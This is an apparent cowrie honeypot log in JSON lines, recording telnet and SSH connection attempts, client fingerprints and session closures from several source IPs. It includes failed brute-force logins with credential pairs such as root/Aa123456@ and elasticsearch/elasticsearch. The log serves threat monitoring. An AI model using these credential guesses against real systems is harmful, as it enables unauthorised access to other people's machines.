{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":36654,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a547253cf03","protocol":"telnet","message":"New connection: 94.23.163.94:36654 (10.17.0.5:23) [session: 9a547253cf03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:31.138845Z"}
{"eventid":"cowrie.session.closed","duration":30.432501316070557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:31.245560Z","src_ip":"5.189.169.71","session":"263d97922e8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.973702907562256,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:31.461339Z","src_ip":"94.23.163.94","session":"9b4e289bc600","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":52650,"dst_ip":"10.17.0.5","dst_port":23,"session":"c49833ed4702","protocol":"telnet","message":"New connection: 5.189.169.71:52650 (10.17.0.5:23) [session: c49833ed4702]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:32.429722Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":52658,"dst_ip":"10.17.0.5","dst_port":23,"session":"f244f3961e68","protocol":"telnet","message":"New connection: 5.189.169.71:52658 (10.17.0.5:23) [session: f244f3961e68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:32.923836Z"}
{"eventid":"cowrie.session.closed","duration":31.28807783126831,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:32.985124Z","src_ip":"5.189.169.71","session":"91128fcc9cba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.210236310958862,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:33.103211Z","src_ip":"94.23.163.94","session":"86335cfcb60b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":52664,"dst_ip":"10.17.0.5","dst_port":23,"session":"005103585136","protocol":"telnet","message":"New connection: 5.189.169.71:52664 (10.17.0.5:23) [session: 005103585136]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:34.202145Z"}
{"eventid":"cowrie.session.closed","duration":31.210977792739868,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:34.245530Z","src_ip":"5.189.169.71","session":"143a979b8ab2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":52680,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e8dd12980ee","protocol":"telnet","message":"New connection: 5.189.169.71:52680 (10.17.0.5:23) [session: 7e8dd12980ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:34.318560Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":59672,"dst_ip":"10.17.0.5","dst_port":22,"session":"ace989211169","protocol":"ssh","message":"New connection: 176.65.139.103:59672 (10.17.0.5:22) [session: ace989211169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:34.958815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:34.962846Z","src_ip":"176.65.139.103","session":"ace989211169","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.87181520462036,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:35.041202Z","src_ip":"94.23.163.94","session":"0c121b6f9abb","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:35.047030Z","src_ip":"176.65.139.103","session":"ace989211169","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":52690,"dst_ip":"10.17.0.5","dst_port":23,"session":"46c6ce21a0ac","protocol":"telnet","message":"New connection: 5.189.169.71:52690 (10.17.0.5:23) [session: 46c6ce21a0ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:35.077666Z"}
{"eventid":"cowrie.session.closed","duration":30.28322744369507,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:35.089979Z","src_ip":"5.189.169.71","session":"00b0b05b7554","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":44498,"dst_ip":"10.17.0.5","dst_port":23,"session":"63ee4e1a471e","protocol":"telnet","message":"New connection: 94.23.163.94:44498 (10.17.0.5:23) [session: 63ee4e1a471e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:35.155025Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":52696,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f6e9165c82f","protocol":"telnet","message":"New connection: 5.189.169.71:52696 (10.17.0.5:23) [session: 7f6e9165c82f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:35.284538Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:35.301612Z","src_ip":"176.65.139.103","session":"ace989211169","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":52710,"dst_ip":"10.17.0.5","dst_port":23,"session":"c247e3674f05","protocol":"telnet","message":"New connection: 5.189.169.71:52710 (10.17.0.5:23) [session: c247e3674f05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:35.975163Z"}
{"eventid":"cowrie.session.closed","duration":30.846633195877075,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:36.080918Z","src_ip":"5.189.169.71","session":"f746d56e3bd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":52712,"dst_ip":"10.17.0.5","dst_port":23,"session":"62b9c7ad0e2a","protocol":"telnet","message":"New connection: 5.189.169.71:52712 (10.17.0.5:23) [session: 62b9c7ad0e2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:36.202651Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:36.396027Z","src_ip":"176.65.139.103","session":"ace989211169","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.07777738571167,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:36.489335Z","src_ip":"5.189.169.71","session":"be8d47c904bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":44504,"dst_ip":"10.17.0.5","dst_port":23,"session":"47db43cc9f65","protocol":"telnet","message":"New connection: 94.23.163.94:44504 (10.17.0.5:23) [session: 47db43cc9f65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:36.654597Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":52716,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c4439de527d","protocol":"telnet","message":"New connection: 5.189.169.71:52716 (10.17.0.5:23) [session: 8c4439de527d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:36.756434Z"}
{"eventid":"cowrie.session.closed","duration":30.4337637424469,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:37.078479Z","src_ip":"5.189.169.71","session":"bee280873406","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":52730,"dst_ip":"10.17.0.5","dst_port":23,"session":"90165adc49f8","protocol":"telnet","message":"New connection: 5.189.169.71:52730 (10.17.0.5:23) [session: 90165adc49f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:37.104983Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":52742,"dst_ip":"10.17.0.5","dst_port":23,"session":"b31c345eafac","protocol":"telnet","message":"New connection: 5.189.169.71:52742 (10.17.0.5:23) [session: b31c345eafac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:37.343613Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":52744,"dst_ip":"10.17.0.5","dst_port":23,"session":"b07f2747f8fc","protocol":"telnet","message":"New connection: 5.189.169.71:52744 (10.17.0.5:23) [session: b07f2747f8fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:37.531831Z"}
{"eventid":"cowrie.session.closed","duration":30.65943479537964,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:38.070177Z","src_ip":"94.23.163.94","session":"9d29d6b0d2f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":44516,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc592a2e92d8","protocol":"telnet","message":"New connection: 94.23.163.94:44516 (10.17.0.5:23) [session: dc592a2e92d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:39.094451Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":45218,"dst_ip":"10.17.0.5","dst_port":23,"session":"30129d864364","protocol":"telnet","message":"New connection: 5.189.169.71:45218 (10.17.0.5:23) [session: 30129d864364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:39.280454Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":45228,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b37ef04ba16","protocol":"telnet","message":"New connection: 5.189.169.71:45228 (10.17.0.5:23) [session: 8b37ef04ba16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:39.518386Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":45236,"dst_ip":"10.17.0.5","dst_port":23,"session":"24a216cfd168","protocol":"telnet","message":"New connection: 5.189.169.71:45236 (10.17.0.5:23) [session: 24a216cfd168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:40.766248Z"}
{"eventid":"cowrie.session.closed","duration":30.669400691986084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:41.046410Z","src_ip":"94.23.163.94","session":"ebb418588b57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":59678,"dst_ip":"10.17.0.5","dst_port":22,"session":"f32202286c3d","protocol":"ssh","message":"New connection: 176.65.139.103:59678 (10.17.0.5:22) [session: f32202286c3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:41.215069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:41.249805Z","src_ip":"176.65.139.103","session":"f32202286c3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":45244,"dst_ip":"10.17.0.5","dst_port":23,"session":"e970b4b86765","protocol":"telnet","message":"New connection: 5.189.169.71:45244 (10.17.0.5:23) [session: e970b4b86765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:41.312675Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:41.334296Z","src_ip":"176.65.139.103","session":"f32202286c3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":45254,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7ffb80c1c1e","protocol":"telnet","message":"New connection: 5.189.169.71:45254 (10.17.0.5:23) [session: c7ffb80c1c1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:41.623100Z"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch","message":"login attempt [elasticsearch/elasticsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:41.689986Z","src_ip":"176.65.139.103","session":"f32202286c3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.246185541152954,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:41.993758Z","src_ip":"5.189.169.71","session":"b6cbadd7b540","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:42.779986Z","src_ip":"176.65.139.103","session":"f32202286c3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":45258,"dst_ip":"10.17.0.5","dst_port":23,"session":"05e6feeaac6c","protocol":"telnet","message":"New connection: 5.189.169.71:45258 (10.17.0.5:23) [session: 05e6feeaac6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:43.305751Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":45262,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f88c1f5a51f","protocol":"telnet","message":"New connection: 5.189.169.71:45262 (10.17.0.5:23) [session: 8f88c1f5a51f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:43.396516Z"}
{"eventid":"cowrie.session.closed","duration":30.28945565223694,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:44.042992Z","src_ip":"94.23.163.94","session":"51ee65ef35c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.024725198745728,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:44.326069Z","src_ip":"5.189.169.71","session":"baf037742521","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.149","src_port":33830,"dst_ip":"10.17.0.5","dst_port":22,"session":"1431db7d22a8","protocol":"ssh","message":"New connection: 74.87.117.149:33830 (10.17.0.5:22) [session: 1431db7d22a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:44.448598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:44.453642Z","src_ip":"74.87.117.149","session":"1431db7d22a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:44.478001Z","src_ip":"74.87.117.149","session":"1431db7d22a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":45278,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ef1a2f57675","protocol":"telnet","message":"New connection: 5.189.169.71:45278 (10.17.0.5:23) [session: 9ef1a2f57675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:44.528519Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qa@WS3ed$RF","message":"login attempt [ubuntu/1qa@WS3ed$RF] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:44.606563Z","src_ip":"74.87.117.149","session":"1431db7d22a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":45282,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d022ad99d19","protocol":"telnet","message":"New connection: 5.189.169.71:45282 (10.17.0.5:23) [session: 5d022ad99d19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:44.705090Z"}
{"eventid":"cowrie.session.closed","duration":30.722054958343506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:45.054984Z","src_ip":"94.23.163.94","session":"a2ce5fbb986f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.618912935256958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:45.118482Z","src_ip":"5.189.169.71","session":"4516b7e04671","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.923146963119507,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:45.272209Z","src_ip":"95.179.166.95","session":"71914c369998","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":45296,"dst_ip":"10.17.0.5","dst_port":23,"session":"caa92da54cca","protocol":"telnet","message":"New connection: 5.189.169.71:45296 (10.17.0.5:23) [session: caa92da54cca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:45.524946Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:45.633476Z","src_ip":"74.87.117.149","session":"1431db7d22a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.617510080337524,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:46.554082Z","src_ip":"94.23.163.94","session":"737671c46f8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80436635017395,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:47.076769Z","src_ip":"94.23.163.94","session":"dbce506cafd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.220.31.6","src_port":49850,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc6135fe071d","protocol":"telnet","message":"New connection: 37.220.31.6:49850 (10.17.0.5:23) [session: dc6135fe071d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:47.375468Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":34918,"dst_ip":"10.17.0.5","dst_port":22,"session":"215e72a165aa","protocol":"ssh","message":"New connection: 176.65.139.103:34918 (10.17.0.5:22) [session: 215e72a165aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:47.518471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:47.523468Z","src_ip":"176.65.139.103","session":"215e72a165aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-s